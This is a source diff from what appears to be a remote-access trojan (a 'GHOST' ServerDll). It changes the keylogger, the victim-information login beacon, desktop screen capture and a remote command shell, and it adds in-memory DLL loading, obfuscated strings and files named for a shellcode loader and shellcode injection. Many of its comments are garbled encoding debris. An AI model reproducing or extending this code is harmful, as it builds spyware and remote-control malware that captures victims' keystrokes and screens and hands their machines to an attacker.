|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
using namespace std;
|
||||
|
||||
#define FILE_PATH "\\MODIf.html"
|
||||
#define CAPTION_SIZE 1024
|
||||
@@ -114,9 +113,9 @@ int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
|
||||
}
|
||||
|
||||
|
||||
string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||
{
|
||||
string KeyString = "";
|
||||
std::string KeyString = "";
|
||||
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
||||
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
|
||||
@@ -496,7 +495,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
}
|
||||
for(int i = 8; i <= 255; i++) {
|
||||
if((GetAsyncKeyState(i)&1) == 1) {
|
||||
string TempString = GetKey (i);
|
||||
std::string TempString = GetKey (i);
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
338
client/Loader.cpp
Normal file
@@ -6,6 +6,7 @@
|
||||
#include <iomanip>
|
||||
#include <ctime>
|
||||
#include <NTSecAPI.h>
|
||||
#include "common/skCrypter.h"
|
||||
|
||||
// by ChatGPT
|
||||
bool IsWindows11() {
|
||||
@@ -44,7 +45,7 @@ std::string getSystemName()
|
||||
}
|
||||
if (IsWindows11()) {
|
||||
vname = "Windows 11";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
@@ -57,13 +58,13 @@ std::string getSystemName()
|
||||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||
{
|
||||
vname = "Windows 8.1";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||||
{
|
||||
vname = "Windows 10";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -141,10 +142,10 @@ std::string getSystemName()
|
||||
default:
|
||||
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
||||
}
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
}
|
||||
else
|
||||
printf_s("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||
Mprintf("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||
return vname;
|
||||
}
|
||||
|
||||
@@ -178,7 +179,7 @@ std::string getProcessTime() {
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
{
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
@@ -189,26 +190,24 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
|
||||
char szPCName[MAX_PATH] = {0};
|
||||
gethostname(szPCName, MAX_PATH);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ClientIP
|
||||
sockaddr_in ClientAddr;
|
||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||
int iLen = sizeof(sockaddr_in);
|
||||
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
|
||||
|
||||
DWORD dwCPUMHz;
|
||||
dwCPUMHz = CPUClockMHz();
|
||||
|
||||
BOOL bWebCamIsExist = WebCamIsExist();
|
||||
|
||||
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
||||
memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
|
||||
LoginInfor.dwSpeed = dwSpeed;
|
||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||
sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE");
|
||||
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
||||
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
|
||||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||
|
||||
return iRet;
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -5,6 +5,6 @@
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
|
||||
@@ -121,11 +121,10 @@ BOOL SelectDesktop(TCHAR* name)
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject)
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
||||
{
|
||||
m_bIsDead = false;
|
||||
m_ClientObject = ClientObject;
|
||||
m_ClientObject->setManagerCallBack(this);
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
||||
|
||||
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||
}
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include <windows.h>
|
||||
#include "..\common\commands.h"
|
||||
|
||||
class IOCPClient;
|
||||
#include "IOCPClient.h"
|
||||
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
@@ -23,10 +21,10 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
|
||||
1202
client/MemoryModule.c
Normal file
168
client/MemoryModule.h
Normal file
@@ -0,0 +1,168 @@
|
||||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
|
||||
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size using custom dependency
|
||||
* resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
|
||||
CustomAllocFunc,
|
||||
CustomFreeFunc,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomAllocFunc that calls VirtualAlloc
|
||||
* internally to allocate memory for a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeFunc that calls VirtualFree
|
||||
* internally to free the memory used by a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
|
||||
* internally to load an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
|
||||
* internally to get the address of an exported function.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
|
||||
* internally to release an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
||||
@@ -6,7 +6,6 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
#include "RegisterOperation.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
|
||||
72921
client/SCLoader.cpp
Normal file
@@ -40,64 +40,76 @@ public:
|
||||
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
IDXGIDevice* dxgiDevice = nullptr;
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
|
||||
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDXGIDevice * dxgiDevice = nullptr;
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
do {
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
if(!dxgiDevice)break;
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><EFBFBD>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
// 3. <20><>ȡ DXGI <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
if (!dxgiAdapter)break;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD>
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
if (!dxgiOutput)break;
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><EFBFBD> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
if (!dxgiOutput1)break;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
if (!deskDupl)break;
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
} while (false);
|
||||
|
||||
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
dxgiOutput1->Release();
|
||||
dxgiOutput->Release();
|
||||
dxgiAdapter->Release();
|
||||
dxgiDevice->Release();
|
||||
if (dxgiOutput1) dxgiOutput1->Release();
|
||||
if (dxgiOutput) dxgiOutput->Release();
|
||||
if (dxgiAdapter) dxgiAdapter->Release();
|
||||
if (dxgiDevice) dxgiDevice->Release();
|
||||
}
|
||||
|
||||
bool IsInitSucceed() const {
|
||||
return cpuTexture;
|
||||
}
|
||||
|
||||
void CleanupDXGI() {
|
||||
|
||||
@@ -12,7 +12,6 @@
|
||||
#include <WinUser.h>
|
||||
#endif
|
||||
#include <time.h>
|
||||
using namespace std;
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapturerDXGI.h"
|
||||
@@ -45,7 +44,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
|
||||
bool DXGI = false;
|
||||
int DXGI = 0;
|
||||
BYTE algo = ALGORITHM_DIFF;
|
||||
if (!(user == NULL || (int)user == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
@@ -55,10 +54,25 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
delete param;
|
||||
}
|
||||
} else {
|
||||
DXGI = user;
|
||||
DXGI = (int)user;
|
||||
}
|
||||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||||
if ((1==DXGI && IsWindows8orHigher()))
|
||||
{
|
||||
auto s = new ScreenCapturerDXGI(algo);
|
||||
if (s->IsInitSucceed()) {
|
||||
m_ScreenSpyObject = s;
|
||||
}
|
||||
else {
|
||||
SAFE_DELETE(s);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
}
|
||||
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
|
||||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,7
|
||||
FILEVERSION 1,0,0,9
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.7"
|
||||
VALUE "FileVersion", "1.0.0.9"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
@@ -6,18 +6,15 @@
|
||||
#include "ShellManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
BOOL bStarting = TRUE;
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
bStarting = TRUE;
|
||||
m_bStarting = TRUE;
|
||||
m_hThreadRead = NULL;
|
||||
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
m_hShellThreadHandle = NULL;
|
||||
@@ -109,7 +106,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
char szBuffer[1024] = {0};
|
||||
DWORD dwTotal = 0;
|
||||
CShellManager *This = (CShellManager*)lParam;
|
||||
while (bStarting)
|
||||
while (This->m_bStarting)
|
||||
{
|
||||
Sleep(100);
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
|
||||
@@ -160,7 +157,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
bStarting = FALSE;
|
||||
m_bStarting = FALSE;
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
|
||||
|
||||
@@ -27,6 +27,7 @@ public:
|
||||
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
|
||||
|
||||
BOOL m_bStarting;
|
||||
HANDLE m_hThreadRead;
|
||||
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
|
||||
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
|
||||
184
client/ShellcodeInj.h
Normal file
@@ -0,0 +1,184 @@
|
||||
#pragma once
|
||||
|
||||
